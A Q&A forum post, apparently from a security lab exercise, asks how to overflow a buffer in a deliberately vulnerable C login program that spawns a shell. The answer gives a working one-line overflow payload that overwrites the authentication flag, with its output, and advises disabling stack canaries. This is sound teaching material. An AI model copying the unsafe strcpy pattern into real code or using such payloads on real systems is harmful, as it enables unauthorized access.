如何通过缓冲区溢出攻击获取root权限？

Question

How to do buffer overflow attack on this to get root access. I tried finding an address but not got many leads in this. I disabled ASLR and also used no stack pointer at the time of compilation. when I enter more than 16 bytes it gave me segmentation fault in gdb:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif

int check_authentication(char *username, char *password) {

   int auth_flag = 0;
   char team_var[TEAM_VAR_SIZE];
   char username_buffer[16];
   char password_buffer[16];

   strcpy(username_buffer, username);
   strcpy(password_buffer, password);

   if(strcmp(username_buffer, "This doesn't matter") == 0 && strcmp(password_buffer, "neither does this") == 0)
      auth_flag = 1;

   return auth_flag;

}

int main(int argc, char *argv[]) {

   if(argc < 3) {
      printf("Usage: %s <username> <password>\n", argv[0]);
      exit(0);
   }

   if(TEAM_VAR_SIZE == 0) {
        printf("\nPlease set the Team Var before moving forward with the lab.\n");
    }

   if(check_authentication(argv[1], argv[2]) == 1) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
      printf("      Access Granted.\n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
      system("/bin/sh");
   } else {
      printf("\nAccess Denied.\n");
   }

}

Answer 1

You can rewrite auth_flag using the buffer overflow caused by the insecure strcpy(username_buffer, username) . 412 bytes needs to be added to username_buffer length (16): 410 for the team_var buffer, and 2 for padding (smallest multiple of sizeof(int) = 4 greater or equal to 410 is 412).

$ ./test "$(printf '%0*d\x1' $((16 + 412)) 0)" "x"

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ 

If you encounter the following error:

*** stack smashing detected ***: <unknown> terminated

then you need to compile your program using the following GCC flag: -fno-stack-protector . Canaries are security measures to prevent attackers from doing buffer overflows on the stack. It adds a random value at the end of your buffers to prevent the user from rewriting the return address and/or variables on the stack.